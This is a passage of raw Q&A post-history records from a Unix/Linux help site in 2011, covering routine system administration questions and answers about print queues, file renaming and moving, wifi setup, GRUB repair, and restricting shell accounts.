  <row Id="23442" PostHistoryTypeId="5" PostId="9809" RevisionGUID="0932a250-962a-4820-ab30-732830a87371" CreationDate="2011-03-21T16:34:11.350" UserId="1323" Comment="added 603 characters in body" Text="It seems the default behavior of the AIX print queue is to report queue errors to the user that submitted the print job. We have several hundred queues used by unattended scripts and cron jobs running under system accounts that are not intended to recieve mail.&#xD;&#xA;&#xD;&#xA;What I would like to do, and have tried unsuccessfully to do, is to stop these error reports from being directed to the users that submit jobs, and instead direct them to another address. This is what I have tried, with no effect:&#xD;&#xA;&#xD;&#xA;    chque -q'queue_name' -a&quot;recovery_type = sendmail &quot;'queue_errors@example.com'&#xD;&#xA;&#xD;&#xA;This added the expected configuration to /etc/qconfig. I restarted lpd, but error messages are still being sent to users. Furthermore, error messages are not delivered to queue_errors@example.com.&#xD;&#xA;&#xD;&#xA;This is on AIX 5.3. A typical error that I'd like to redirect:&#xD;&#xA;&#xD;&#xA;    Message from queueing system:&#xD;&#xA;    Queue hs-3841:@print went down, job is still queued:&#xD;&#xA;      Backend: /usr/lib/lpd/rembak -S print.example.com -P hs-3841 -N \&#xD;&#xA;               /usr/lib/lpd/aixshort /var/spool/lpd/dfA731sub.sub.example.com.1280424810.1028194 &#xD;&#xA;      Backend Exit Value: EXITFATAL (0100)&#xD;&#xA;      Job Submit Time: Mar 21 03:33:30 2011,  Current Time: Mar 21 12:00:51 2011&#xD;&#xA;    Use local problem reporting procedures.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I know I can adjust rembak to try to avoid errors due intermittent remote queue downtime, but how can I configure lpd in such a way as to direct queue errors to an address other than the user's?" />
  <row Id="23443" PostHistoryTypeId="2" PostId="9810" RevisionGUID="0cf7ea78-85fc-4af6-885f-7995d705112b" CreationDate="2011-03-21T16:54:17.100" UserId="4667" Text="This might be an option: store the command and args in an array, then execute it after&#xD;&#xA;&#xD;&#xA;    # build the command&#xD;&#xA;    cmd=( ls&#xD;&#xA;            -F&#xD;&#xA;          # -a   # comment out this option temporarily&#xD;&#xA;            -l&#xD;&#xA;        )&#xD;&#xA;    # $cmd is now an array with 3 elements&#xD;&#xA;&#xD;&#xA;    # execute it&#xD;&#xA;    &quot;${cmd[@]}&quot;" />
  <row Id="23444" PostHistoryTypeId="2" PostId="9811" RevisionGUID="89dd4b9f-ed09-438d-a376-9bccc5990311" CreationDate="2011-03-21T17:20:29.470" UserId="4289" Text="Hi,  &#xD;&#xA;I have a directory in which are listed some `.py` files and some `.py.bak` files. I want to delete the `.py` files and restore the backup file renaming them `*.py`. Is there a shell script that can do this?  &#xD;&#xA;&#xD;&#xA;Thank you,  &#xD;&#xA;rubik" />
  <row Id="23445" PostHistoryTypeId="1" PostId="9811" RevisionGUID="89dd4b9f-ed09-438d-a376-9bccc5990311" CreationDate="2011-03-21T17:20:29.470" UserId="4289" Text="Restoring backup files" />
  <row Id="23446" PostHistoryTypeId="3" PostId="9811" RevisionGUID="89dd4b9f-ed09-438d-a376-9bccc5990311" CreationDate="2011-03-21T17:20:29.470" UserId="4289" Text="éscriptingàéshellöscriptàébackupà" />
  <row Id="23447" PostHistoryTypeId="6" PostId="6998" RevisionGUID="2b57bb93-c8e4-4601-8d42-7395e0791add" CreationDate="2011-03-21T17:21:44.417" UserId="2511" Comment="edited tags" Text="ébashàépythonàérenameàéjheadà" />
  <row Id="23448" PostHistoryTypeId="2" PostId="9812" RevisionGUID="39a4c463-09ad-475a-a241-e70ef1f4f2ac" CreationDate="2011-03-21T17:22:25.647" UserId="5763" Text="rm -r is expected to be slow as its recursive. A depth first traversal has to be made on the directory structure.&#xD;&#xA;&#xD;&#xA;Now how did you create 10 million files ? did u use some script which loops on some order ? 1.txt,2.txt,3.txt... if yes then those files may too be allocated on same order in contigous blocks in hdd.so deleting on same order will be faster.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23449" PostHistoryTypeId="5" PostId="9812" RevisionGUID="43e15076-2b23-470d-9c01-a5311e56668d" CreationDate="2011-03-21T17:27:43.333" UserId="5763" Comment="added 80 characters in body" Text="rm -r is expected to be slow as its recursive. A depth first traversal has to be made on the directory structure.&#xD;&#xA;&#xD;&#xA;Now how did you create 10 million files ? did u use some script which loops on some order ? 1.txt,2.txt,3.txt... if yes then those files may too be allocated on same order in contigous blocks in hdd.so deleting on same order will be faster.&#xD;&#xA;&#xD;&#xA;&quot;ls -f&quot; will enable -aU which lists in directory order which is again recursive." />
  <row Id="23450" PostHistoryTypeId="25" PostId="9802" RevisionGUID="1c8a8712-b728-496d-a450-3633fca49354" CreationDate="2011-03-21T17:31:28.400" Comment="http://twitter.com/#!/StackUnix/status/49885851131449344" />
  <row Id="23451" PostHistoryTypeId="2" PostId="9813" RevisionGUID="3057ce8e-7aac-436e-9481-2fdf74955ed2" CreationDate="2011-03-21T17:38:03.993" UserId="1323" Text="This should do. Be sure to test on files you wouldn't mind losing.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    rm -f *.py&#xD;&#xA;    for fn in *.py.bak&#xD;&#xA;    do&#xD;&#xA;      mv &quot;${fn}&quot; &quot;${fn%%.bak}&quot;&#xD;&#xA;    done" />
  <row Id="23452" PostHistoryTypeId="2" PostId="9814" RevisionGUID="142a8239-ca2e-4bb8-a198-ab430c4f0f56" CreationDate="2011-03-21T17:42:00.840" UserId="5116" Text="Is there a command like&#xD;&#xA;&#xD;&#xA;    mv --preserve-structure src src/1 src/2/3 dst&#xD;&#xA;&#xD;&#xA;which creates `dst/1` and `dst/2/3`? It should work similar to `mv src/* dst`, but move only the subtrees listed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23453" PostHistoryTypeId="1" PostId="9814" RevisionGUID="142a8239-ca2e-4bb8-a198-ab430c4f0f56" CreationDate="2011-03-21T17:42:00.840" UserId="5116" Text="Selective recursive move?" />
  <row Id="23454" PostHistoryTypeId="3" PostId="9814" RevisionGUID="142a8239-ca2e-4bb8-a198-ab430c4f0f56" CreationDate="2011-03-21T17:42:00.840" UserId="5116" Text="écommandölineàérenameà" />
  <row Id="23457" PostHistoryTypeId="2" PostId="9816" RevisionGUID="8baacce2-2804-4622-8d23-773efbff00ce" CreationDate="2011-03-21T18:28:55.480" UserId="4877" Text="So Im a complete newb when it comes to enterprise level linux distros, and linux servers in general.&#xD;&#xA;&#xD;&#xA;I know my way around Most Linux Desktops, but Im going to be setting up a small Linux Server that multiple people would be able to Terminal into (probably through SSH or Putty)&#xD;&#xA;&#xD;&#xA;How would I go about doing this (storing the users/passwords and such)....And is there a good FREE distro to do this? I was looking at Ubuntu Server, I was gonna do Centos but im a little bit iffy as their latest release is taking a LONGGG time. (We use Red Hat Enterprise 5.3 at work....but obviously I can't afford that lol)&#xD;&#xA;&#xD;&#xA;Thanks all.&#xD;&#xA;&#xD;&#xA;edit: Also how do you make like &quot;names&quot; for the server, so instead of 164.25.252.35 (or w/e ip, i just made that one up)&#xD;&#xA;&#xD;&#xA;it could be something like tron.dev.sauron.com or something.... (ya im a NUB)" />
  <row Id="23458" PostHistoryTypeId="1" PostId="9816" RevisionGUID="8baacce2-2804-4622-8d23-773efbff00ce" CreationDate="2011-03-21T18:28:55.480" UserId="4877" Text="Setting a Multi-Terminal Linux Server" />
  <row Id="23459" PostHistoryTypeId="3" PostId="9816" RevisionGUID="8baacce2-2804-4622-8d23-773efbff00ce" CreationDate="2011-03-21T18:28:55.480" UserId="4877" Text="élinuxàéterminalàéserveràémultiuserà" />
  <row Id="23460" PostHistoryTypeId="2" PostId="9817" RevisionGUID="820f9d8c-c885-4966-943b-8fc38577ab1c" CreationDate="2011-03-21T18:39:10.020" UserId="5936" Text="I need a way to change the **creation time** of a file on a mounted FAT32 volume. I have to do that because my MP3 player will only read files sorted by this creation time.&#xD;&#xA;&#xD;&#xA;If I can find a way to set the file creation time (like `touch` can do with modification / access time) of a file, a trivial script will allow MP3 files to be read in the right order (as expected, alphabetically).&#xD;&#xA;&#xD;&#xA;But I've yet to find a solution, and my searches have been in vain. I hope you guys can help me !" />
  <row Id="23461" PostHistoryTypeId="1" PostId="9817" RevisionGUID="820f9d8c-c885-4966-943b-8fc38577ab1c" CreationDate="2011-03-21T18:39:10.020" UserId="5936" Text="Change file creation time on a FAT filesystem" />
  <row Id="23462" PostHistoryTypeId="3" PostId="9817" RevisionGUID="820f9d8c-c885-4966-943b-8fc38577ab1c" CreationDate="2011-03-21T18:39:10.020" UserId="5936" Text="éfilesystemsàéfilesàéstatàéfatà" />
  <row Id="23463" PostHistoryTypeId="2" PostId="9818" RevisionGUID="95532541-3ad0-49c7-9228-511ef4277487" CreationDate="2011-03-21T18:58:00.260" UserId="5938" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I would like to switch from gnome to awesome and I would like to connect my wifi network in command line (instead of using gnome tools).&#xD;&#xA;&#xD;&#xA;So, I searched on the internet and found approximatively the same methods :&#xD;&#xA;&#xD;&#xA;`ifconfig wlan0 up`  &#xD;&#xA;`iwconfig wlan0 essid &quot;MyNetwork&quot; key THEHEXAKEY`  &#xD;&#xA;`dhclient wlan0`&#xD;&#xA;&#xD;&#xA;When I run awesome alone and execute those commands, I'm tucked at the 3rd one. It looks like DHCP cannot be resolve (the command continue running endlessly).&#xD;&#xA;&#xD;&#xA;But when I run awesome in Xephyr and execute the same commands, `dhclient wlan0` works well.&#xD;&#xA;&#xD;&#xA;So I suppose Gnome do something that I don&quot;t but I can't find what.&#xD;&#xA;&#xD;&#xA;Could someone help me ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="23464" PostHistoryTypeId="1" PostId="9818" RevisionGUID="95532541-3ad0-49c7-9228-511ef4277487" CreationDate="2011-03-21T18:58:00.260" UserId="5938" Text="All commands that should be used to connect to wifi in command line" />
  <row Id="23465" PostHistoryTypeId="3" PostId="9818" RevisionGUID="95532541-3ad0-49c7-9228-511ef4277487" CreationDate="2011-03-21T18:58:00.260" UserId="5938" Text="écommandölineàéterminalàéwifià" />
  <row Id="23466" PostHistoryTypeId="5" PostId="9224" RevisionGUID="35b99bd2-e39e-4c6e-8951-41a99fb7653f" CreationDate="2011-03-21T19:00:54.407" UserId="5666" Comment="added one more command" Text="Boot from your ArchLinux live cd again and in a command prompt as root run the exact following.&#xD;&#xA;&#xD;&#xA;    mkdir /mnt/root&#xD;&#xA;    mount /dev/sda3 /mnt/root&#xD;&#xA;    mount /dev/sda1 /mnt/root/boot&#xD;&#xA;    cp -a /dev/sd* /mnt/root/dev/&#xD;&#xA;    chroot /mnt/root&#xD;&#xA;    mount /proc&#xD;&#xA;    cat /proc/mounts &gt; /etc/mtab&#xD;&#xA;    grub-install --recheck --no-floppy /dev/sda&#xD;&#xA;    umount /proc&#xD;&#xA;    exit&#xD;&#xA;    umount /mnt/root/boot&#xD;&#xA;    umount /mnt/root&#xD;&#xA;    reboot&#xD;&#xA;&#xD;&#xA;Depending on what you did trying to setup autofs, you might want to check that  `/etc/fstab` or `/boot/grub/menu.lst` files are valid while you are chrooted in your system (after `mount /proc` above).&#xD;&#xA;&#xD;&#xA;There is also one more (shorter) way this can be done. Not sure if it is possible with the archlinux live cd, but probably is.&#xD;&#xA;&#xD;&#xA;    mkdir /mnt/root&#xD;&#xA;    mount /dev/sda3 /mnt/root&#xD;&#xA;    mount /dev/sda1 /mnt/root/boot&#xD;&#xA;    grub-install --root-directory=/mnt/root --recheck --no-floppy /dev/sda&#xD;&#xA;    umount /mnt/root/boot&#xD;&#xA;    umount /mnt/root&#xD;&#xA;    reboot" />
  <row Id="23467" PostHistoryTypeId="2" PostId="9819" RevisionGUID="aa8ac947-128c-47bc-8cfb-07f3f1f0516a" CreationDate="2011-03-21T19:12:18.267" UserId="1946" Text="E.g. I'm seeing this in `/var/log/messages`:&#xD;&#xA;&#xD;&#xA;    Mar 01 23:12:34 hostname shutdown: shutting down for system halt&#xD;&#xA;&#xD;&#xA;Is there a way to find out what caused the shutdown?  E.g. was it run from console, or someone hit power button, etc.?&#xD;&#xA;" />
  <row Id="23468" PostHistoryTypeId="1" PostId="9819" RevisionGUID="aa8ac947-128c-47bc-8cfb-07f3f1f0516a" CreationDate="2011-03-21T19:12:18.267" UserId="1946" Text="How to find out from the logs what caused system shutdown?" />
  <row Id="23469" PostHistoryTypeId="3" PostId="9819" RevisionGUID="aa8ac947-128c-47bc-8cfb-07f3f1f0516a" CreationDate="2011-03-21T19:12:18.267" UserId="1946" Text="élogsàéshutdownà" />
  <row Id="23470" PostHistoryTypeId="2" PostId="9820" RevisionGUID="8d4d24a0-ab05-4c4b-8487-6ade920d69a6" CreationDate="2011-03-21T19:13:05.360" UserId="4667" Text="Assumes bash and GNU find.&#xD;&#xA;&#xD;&#xA;    mv_preserve_structure() {&#xD;&#xA;      local src_file=&quot;$1&quot;&#xD;&#xA;      local dest=&quot;$2&quot;&#xD;&#xA;      local rel_dir=&quot;$(dirname &quot;$src_file&quot;)/&quot;&#xD;&#xA;      rel_dir=&quot;${rel_dir#*/}&quot;  # returns &quot;2/3&quot; if rel_dir was &quot;src/2/3&quot;&#xD;&#xA;      mkdir -p &quot;$dest/$rel_dir&quot;&#xD;&#xA;      echo mv &quot;$src_file&quot; &quot;$dest/$rel_dir&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # unlike mv, this requires the destination dir as the first parameter&#xD;&#xA;    mv_dirs() {&#xD;&#xA;      local dest=&quot;$1&quot;&#xD;&#xA;      shift&#xD;&#xA;      for dir in &quot;$@&quot;; do&#xD;&#xA;        while read -r filename; do&#xD;&#xA;          mv_preserve_structure &quot;$filename&quot; &quot;$dest&quot;&#xD;&#xA;        done &lt; &lt;(find &quot;$dir&quot; -maxdepth 1 -type f -print)&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    mv_dirs dst src src/1 src/2/3&#xD;&#xA;" />
  <row Id="23472" PostHistoryTypeId="2" PostId="9822" RevisionGUID="def6458b-e567-47b4-bebe-90dfab898ae6" CreationDate="2011-03-21T20:02:20.033" UserId="5550" Text="    &gt; tar -cf - src/1 src/2/3 | (mkdir dst; cd dst; tar -xv --strip-components=1  -f -)" />
  <row Id="23473" PostHistoryTypeId="2" PostId="9823" RevisionGUID="633a1b88-c41a-4993-8cbd-0e385b83276f" CreationDate="2011-03-21T20:07:51.360" UserId="885" Text="Under Linux, using `rename` from the Linux utilities (`rename.ul` under Debian and Ubuntu):&#xD;&#xA;&#xD;&#xA;    rename src dst src/1 src/2/3     # dst/2 must exist&#xD;&#xA;&#xD;&#xA;With the `rename` Perl script that Debian and Ubuntu install as `prename` or `rename`:&#xD;&#xA;&#xD;&#xA;    rename 's!^src!dst!' src/1 src/2/3    # dst/2 must exist&#xD;&#xA;    rename 'use File::Basename; use File::Path;&#xD;&#xA;            s!^src!dst! &amp;&amp; mkpath(dirname($_))' src/1 src/2/3&#xD;&#xA;&#xD;&#xA;Here's a shell function that does what you're asking except for the argument order:&#xD;&#xA;&#xD;&#xA;    mv-preserving-structure () {&#xD;&#xA;      s=${1%/} t=${2%/}; shift 2&#xD;&#xA;      for x; do&#xD;&#xA;        case $x in&#xD;&#xA;          $s/*)&#xD;&#xA;            y=$t${x#$s}&#xD;&#xA;            mkdir -p -- &quot;${y%/*}&quot;&#xD;&#xA;            mv -- &quot;$x&quot; &quot;$t${x#$s}&quot;;;&#xD;&#xA;        esac&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;    mv-preserving-structure src dst src/1 src/2/3&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23474" PostHistoryTypeId="2" PostId="9824" RevisionGUID="982eaf89-cd55-4911-a3d0-d8fdb063cd89" CreationDate="2011-03-21T20:10:16.690" UserId="5941" Text="Hello. I have question about giving shell account to somebody. How much is it safe ? He could read /etc. How can I gave secured shell account that will only restrict user to use some bins and his own home. Is the only way jail chroot ?" />
  <row Id="23475" PostHistoryTypeId="1" PostId="9824" RevisionGUID="982eaf89-cd55-4911-a3d0-d8fdb063cd89" CreationDate="2011-03-21T20:10:16.690" UserId="5941" Text="Security Question =&gt; give a shell to somebody" />
  <row Id="23476" PostHistoryTypeId="3" PostId="9824" RevisionGUID="982eaf89-cd55-4911-a3d0-d8fdb063cd89" CreationDate="2011-03-21T20:10:16.690" UserId="5941" Text="élinuxàéshellàésecurityà" />
  <row Id="23477" PostHistoryTypeId="2" PostId="9825" RevisionGUID="d8f49d30-3ffe-4de0-83b1-a3aebde5028e" CreationDate="2011-03-21T20:15:54.860" UserId="5325" Text="Keep in mind that parts of `/etc` are required to be readable even by unprivileged users.  If there are things in `/etc` that shouldn't be readable but are, you have bigger issues and at minimum should run your distribution's permissions check/fix program.&#xD;&#xA;&#xD;&#xA;A jail is the easiest way to set up draconian restrictions.  There are other ways, such as setting up SElinux and arrange for the user to have a very limited security context." />
  <row Id="23478" PostHistoryTypeId="2" PostId="9826" RevisionGUID="e3709ec1-501b-4dc7-a84a-3f198c6db9fa" CreationDate="2011-03-21T20:19:00.627" UserId="885" Text="If you give somebody a shell account, they can see all world-readable files. This includes many files in `/etc` that are necessary for the system to work, including `/etc/passwd` (which contains user names but not passwords).&#xD;&#xA;&#xD;&#xA;If you allow the user only to log in inside a chroot, they can't see the files outside the chroot. That means you must put enough programs, libraries, etc, inside the chroot — everything the user must have access to and every dependency of these as well.&#xD;&#xA;&#xD;&#xA;Note that a chroot only protects direct file access. The user can snoop on various things, including the names and arguments of running processes of all users (unless you set up additional protections such as SELinux). If the user isn't going to need to do much, you can set up tighter restrictions (including preventing the user from creating their own executables) with a restricted shell, but setting up a restricted shell right is very tricky, so I don't recommend it.&#xD;&#xA;&#xD;&#xA;Nowadays, virtual machines are very cheap. You have many free implementations to choose from (User Mode Linux, VirtualBox, VMware, KVM, OpenVZ, VServer, …), and the disk space used by an extra system installation is minimal (and you might need it for chroot anyway). A virtual machine isolates pretty much everything: files, processes, networking, … Unless you have very unusual constraints, this is the way to go.&#xD;&#xA;" />
  <row Id="23479" PostHistoryTypeId="6" PostId="9824" RevisionGUID="b0deaa04-af2c-4fcc-8d4c-61f8f06871b7" CreationDate="2011-03-21T20:19:35.540" UserId="885" Comment="edited tags" Text="élinuxàésecurityàéusersàéjailsà" />
  <row Id="23480" PostHistoryTypeId="5" PostId="9818" RevisionGUID="7c2fa75b-e321-4213-b235-d76e703daad4" CreationDate="2011-03-21T20:21:18.080" UserId="885" Comment="formatting; tags" Text="I would like to switch from gnome to awesome and I would like to connect my wifi network in command line (instead of using gnome tools).&#xD;&#xA;&#xD;&#xA;So, I searched on the internet and found approximatively the same methods :&#xD;&#xA;&#xD;&#xA;    ifconfig wlan0 up&#xD;&#xA;    iwconfig wlan0 essid &quot;MyNetwork&quot; key THEHEXAKEY&#xD;&#xA;    dhclient wlan0&#xD;&#xA;&#xD;&#xA;When I run awesome alone and execute those commands, I'm tucked at the 3rd one. It looks like DHCP cannot be resolve (the command continue running endlessly).&#xD;&#xA;&#xD;&#xA;But when I run awesome in Xephyr and execute the same commands, `dhclient wlan0` works well.&#xD;&#xA;&#xD;&#xA;So I suppose Gnome do something that I don&quot;t but I can't find what.&#xD;&#xA;&#xD;&#xA;Could someone help me ?&#xD;&#xA;" />
  <row Id="23481" PostHistoryTypeId="6" PostId="9818" RevisionGUID="7c2fa75b-e321-4213-b235-d76e703daad4" CreationDate="2011-03-21T20:21:18.080" UserId="885" Comment="formatting; tags" Text="écommandölineàénetworkingàédhcpàéwifià" />
  <row Id="23482" PostHistoryTypeId="2" PostId="9827" RevisionGUID="4d75155c-a894-426b-a85f-d42cab0d319b" CreationDate="2011-03-21T20:21:41.327" UserId="2701" Text="One option is to put them in a restricted shell session, such as [rbash][1] [bash -r].&#xD;&#xA;&#xD;&#xA;It is a bit unclear at this point what, exactly, you wish to accomplish, however, on the surface posix acl's for 'other' will apply to the new account as well as any group acl's for groups to which the account belongs, such as 'users' for example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://man.he.net/man1/rbash" />
  <row Id="23483" PostHistoryTypeId="6" PostId="9811" RevisionGUID="fe26d642-6d80-40c6-b377-54bcbbfb16e7" CreationDate="2011-03-21T20:27:56.683" UserId="885" Comment="edited tags" Text="éshellàébackupàérenameà" />
  <row Id="23484" PostHistoryTypeId="2" PostId="9828" RevisionGUID="3873bb5a-3d9a-4aaf-ad9d-29921369a364" CreationDate="2011-03-21T20:28:26.657" UserId="732" Text="Looks like maybe you're not setting the channel and &quot;mode&quot;.  I use a simple script that does these shell commands:&#xD;&#xA;&#xD;&#xA;    ifconfig wlan0 down&#xD;&#xA;    iwconfig wlan0 mode managed&#xD;&#xA;    ifconfig wlan0 up&#xD;&#xA;    iwconfig wlan0 channel 3&#xD;&#xA;    iwconfig wlan0 key xxxxxxxxxx&#xD;&#xA;    iwconfig wlan0 key restricted&#xD;&#xA;    iwconfig wlan0 essid &quot;Blah Blah Foo Bar&quot;&#xD;&#xA;    iwconfig wlan0 ap xx:yy:zz:aa:bb:cc&#xD;&#xA;    sleep 5&#xD;&#xA;    dhcpcd -d wlan0&#xD;&#xA;&#xD;&#xA;You have to put in your key, and access point MAC address. This is under Slackware 13.1, and I'm using a WRT54GL running DD-WRT.  Much to my shame, I'm using WEP encryption.  I had to do some experimenting about when to &quot;ifconfig&quot; and wlen to &quot;iwconfig&quot; and in what order to set ESSID and AP." />
  <row Id="23485" PostHistoryTypeId="2" PostId="9829" RevisionGUID="2abbcae9-6d2f-4d71-b921-f1c9becb74f1" CreationDate="2011-03-21T20:30:00.053" UserId="2671" Text="*Although this post is based on facts, it still contains my personal experience and opinions.*&#xD;&#xA;&#xD;&#xA;**Nvidia**&#xD;&#xA;&#xD;&#xA;Although there is a project for OpenSource drivers, you probably need to consider Nvidia being closed source drivers only. Now in case of Nvidia this doesn't really bring a lot of bad things since they really work on their drivers very hard. The best support when it comes to closed source graphic card drivers on Linux.&#xD;&#xA;&#xD;&#xA;Nvidia graphic cards are the only ones that provide equivalent performance on Linux and Windows.&#xD;&#xA;&#xD;&#xA;Still, the closed source drivers imply some limitations like no support for features available only to GPL drivers (like KMS).&#xD;&#xA;&#xD;&#xA;**Intel**&#xD;&#xA;&#xD;&#xA;Now when choosing Intel you need to be extremely careful. Some of the Intel graphic cards are actually 3rd party bundled cards that don't have any (or have very crappy) support. But if you choose the correct chip, you can enjoy the best opensource drivers out there. For example even very low end Intel cards can be faster in compositing window managers then high end Nvidia cards.&#xD;&#xA;&#xD;&#xA;**AMD**&#xD;&#xA;&#xD;&#xA;Now this is complex. AMD provides both proprietary drivers (that tend to suck a lot) and they also release documentation and support opensource drivers development.&#xD;&#xA;&#xD;&#xA;Now the problem is that the opensource drivers will never contain certain licensed/patented/etc... features and since they don't really concentrate on the closed source drivers development I guess they will always be behind (Windows features/performance)." />
  <row Id="23486" PostHistoryTypeId="25" PostId="9824" RevisionGUID="03564e5b-65cd-479e-891c-cf4a9a0d6982" CreationDate="2011-03-21T20:31:28.603" Comment="http://twitter.com/#!/StackUnix/status/49931150684205056" />
  <row Id="23487" PostHistoryTypeId="6" PostId="9795" RevisionGUID="1e310b0b-e359-4e89-bb34-07a931d69b68" CreationDate="2011-03-21T20:33:21.733" UserId="885" Comment="edited tags" Text="élinuxàélvmà" />
  <row Id="23488" PostHistoryTypeId="6" PostId="9794" RevisionGUID="db042fd2-24ad-49b7-9f9d-663dec28e026" CreationDate="2011-03-21T20:34:02.480" UserId="885" Comment="edited tags" Text="éemacsàéconversionàédokuwikià" />
  <row Id="23489" PostHistoryTypeId="5" PostId="9791" RevisionGUID="09b9ac99-9c8d-475e-adb5-d0c6b5732ede" CreationDate="2011-03-21T20:38:20.947" UserId="885" Comment="formatting" Text="I have bought a new touchscreen POS machine and I have installed fedora 14 on it. I couldn't make the touch screen work, as the ELO touch manufacturers have drivers only for kernel 2.6.14 versions. Even though Fedora 14 has precompiled kernel-level driver support for ELO touch screens, I am unable to get it working.&#xD;&#xA;&#xD;&#xA;I have tried the `xorg.conf` configuration as well, but nothing is working.  &#xD;&#xA;&#xD;&#xA;    Section &quot;Files&quot;  &#xD;&#xA;            FontPath        &quot;/usr/share/fonts/X11/misc&quot;  &#xD;&#xA;            FontPath        &quot;/usr/X11R6/lib/X11/fonts/misc&quot;  &#xD;&#xA;            FontPath        &quot;/usr/share/fonts/X11/cyrillic&quot;  &#xD;&#xA;            FontPath        &quot;/usr/X11R6/lib/X11/fonts/cyrillic&quot;  &#xD;&#xA;            FontPath        &quot;/usr/share/fonts/X11/100dpi/:unscaled&quot;  &#xD;&#xA;            FontPath        &quot;/usr/X11R6/lib/X11/fonts/100dpi/:unscaled&quot;  &#xD;&#xA;            FontPath        &quot;/usr/share/fonts/X11/75dpi/:unscaled&quot;  &#xD;&#xA;            FontPath        &quot;/usr/X11R6/lib/X11/fonts/75dpi/:unscaled&quot;  &#xD;&#xA;            FontPath        &quot;/usr/share/fonts/X11/Type1&quot;  &#xD;&#xA;            FontPath        &quot;/usr/X11R6/lib/X11/fonts/Type1&quot;  &#xD;&#xA;            FontPath        &quot;/usr/share/fonts/X11/100dpi&quot;  &#xD;&#xA;            FontPath        &quot;/usr/X11R6/lib/X11/fonts/100dpi&quot;  &#xD;&#xA;            FontPath        &quot;/usr/share/fonts/X11/75dpi&quot;  &#xD;&#xA;            FontPath        &quot;/usr/X11R6/lib/X11/fonts/75dpi&quot;  &#xD;&#xA;    #path to defoma fonts  &#xD;&#xA;    FontPath        &quot;/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType&quot;  &#xD;&#xA;     EndSection  &#xD;&#xA;     Section &quot;Module&quot;  &#xD;&#xA;     Load    &quot;i2c&quot;  &#xD;&#xA;     Load    &quot;bitmap&quot;  &#xD;&#xA;     Load    &quot;ddc&quot;  &#xD;&#xA;     Load    &quot;dri&quot;  &#xD;&#xA;     Load      &quot;extmod&quot;  &#xD;&#xA;     Load    &quot;freetype&quot;  &#xD;&#xA;     Load    &quot;glx&quot;  &#xD;&#xA;     Load    &quot;int10&quot;  &#xD;&#xA;     Load    &quot;vbe&quot;  &#xD;&#xA;      EndSection  &#xD;&#xA;     &#xD;&#xA;    Section &quot;InputDevice&quot;  &#xD;&#xA;    Identifier      &quot;Generic Keyboard&quot;  &#xD;&#xA;    Driver          &quot;kbd&quot;  &#xD;&#xA;    Option          &quot;CoreKeyboard&quot;  &#xD;&#xA;    Option          &quot;XkbRules&quot;      &quot;xorg&quot;  &#xD;&#xA;    Option          &quot;XkbModel&quot;      &quot;pc104&quot;  &#xD;&#xA;    Option          &quot;XkbLayout&quot;     &quot;us&quot;  &#xD;&#xA;    EndSection  &#xD;&#xA;    &#xD;&#xA;    Section &quot;InputDevice&quot;  &#xD;&#xA;    Identifier      &quot;Configured Mouse&quot;  &#xD;&#xA;    Driver          &quot;mouse&quot;  &#xD;&#xA;    Option          &quot;CorePointer&quot;  &#xD;&#xA;    Option          &quot;Device&quot;                  &quot;/dev/input/mice&quot;  &#xD;&#xA;    Option          &quot;Protocol&quot;              &quot;ImPS/2&quot;  &#xD;&#xA;    Option          &quot;Emulate3Buttons&quot;       &quot;true&quot;  &#xD;&#xA;    EndSection  &#xD;&#xA;    &#xD;&#xA;    Section &quot;InputDevice&quot;  &#xD;&#xA;    Identifier &quot;ELO touchscreen&quot;  &#xD;&#xA;    Driver &quot;elographics&quot;  &#xD;&#xA;    Option &quot;Device&quot; &quot;/dev/ttyS0&quot;  &#xD;&#xA;    Option  &quot;MinX&quot; &quot;375&quot;  &#xD;&#xA;    Option  &quot;MaxX&quot; &quot;3700&quot;  &#xD;&#xA;    Option  &quot;MinY&quot; &quot;500&quot;  &#xD;&#xA;    Option  &quot;MaxY&quot; &quot;3590&quot;  &#xD;&#xA;    Option  &quot;UntouchDelay&quot;  &quot;10&quot;  &#xD;&#xA;    Option  &quot;ReportDelay&quot;   &quot;10&quot;  &#xD;&#xA;    Option  &quot;SendCoreEvents&quot;        &quot;yes&quot;  &#xD;&#xA;    Option  &quot;ScreenNumber&quot;  &quot;0&quot;  &#xD;&#xA;    Option  &quot;ButtonNumber&quot;  &quot;1&quot;  &#xD;&#xA;    EndSection  &#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;  &#xD;&#xA;    Identifier      &quot;Intel&quot;  &#xD;&#xA;    Driver          &quot;intel&quot;  &#xD;&#xA;    BusID           &quot;PCI:0:2:0&quot;  &#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;    Section &quot;Monitor&quot;  &#xD;&#xA;    Identifier      &quot;LCD Touch&quot;  &#xD;&#xA;    Option          &quot;DPMS&quot;  &#xD;&#xA;    EndSection  &#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;  &#xD;&#xA;    Identifier      &quot;Default Screen&quot;  &#xD;&#xA;    Device          &quot;ATI Technologies Inc ATI Default Card&quot;  &#xD;&#xA;    Monitor         &quot;ELO Touch&quot;   &#xD;&#xA;    &#xD;&#xA;            DefaultDepth    24  &#xD;&#xA;            SubSection &quot;Display&quot;  &#xD;&#xA;            Depth           1  &#xD;&#xA;            Modes &quot;800x600&quot;  &#xD;&#xA;            EndSubSection  &#xD;&#xA;            SubSection &quot;Display&quot;  &#xD;&#xA;    Depth           4  &#xD;&#xA;    Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;    EndSubSection  &#xD;&#xA;    SubSection &quot;Display&quot;  &#xD;&#xA;    Depth           8  &#xD;&#xA;    Modes           &quot;800x600&quot; &quot;720x400&quot; &quot;640x480&quot;  &#xD;&#xA;    EndSubSection  &#xD;&#xA;    SubSection &quot;Display&quot;  &#xD;&#xA;    Depth           15  &#xD;&#xA;    Modes           